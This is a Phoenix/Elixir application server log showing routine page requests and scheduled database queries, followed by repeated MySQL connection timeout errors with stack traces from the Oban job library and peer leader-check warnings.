[Sat Sep  5 19:56:17.290000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 8.216.6.206:26302] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 19:56:17.290000 2026] [Phoenix.Logger:info] [pid 2816631] [client 8.216.6.206:26302] Sent 200 in 937µs
[Sat Sep  5 19:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1433.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 19:56:54.950000 2026] [Phoenix.Logger:info] [pid 2816631] [client 123.160.223.75:53646] GET /
[Sat Sep  5 19:56:54.951000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 123.160.223.75:53646] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 19:56:54.951000 2026] [Phoenix.Logger:info] [pid 2816631] [client 123.160.223.75:53646] Sent 200 in 1ms
[Sat Sep  5 20:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=404.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 20:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=381.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 20:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=364.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 20:30:00.791000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1397.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 20:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 20:30:00.956000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1561.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 20:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 20:34:02.934000 2026] [Phoenix.Logger:info] [pid 2816631] [client 195.96.139.212:60213] GET /
[Sat Sep  5 20:34:02.934000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 195.96.139.212:60213] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 20:34:02.935000 2026] [Phoenix.Logger:info] [pid 2816631] [client 195.96.139.212:60213] Sent 200 in 1ms
[Sat Sep  5 20:36:24.708000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1341.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 20:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1319.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 20:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1298.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 21:00:01.002000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.4ms idle=561.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 21:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 21:00:01.222000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.1ms idle=781.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 21:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 21:02:33.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Sat Sep  5 21:02:44.371000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:02:49.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Sat Sep  5 21:03:05.512000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Sat Sep  5 21:03:21.998000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Sat Sep  5 21:03:28.956000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:03:39.109000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Sat Sep  5 21:04:03.130000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:04:04.406000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:04:05.900000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:04:08.131000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:04:12.583000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:04:45.613000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:04:50.614000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:04:55.410000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:05:28.442000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:05:33.443000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:05:37.666000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
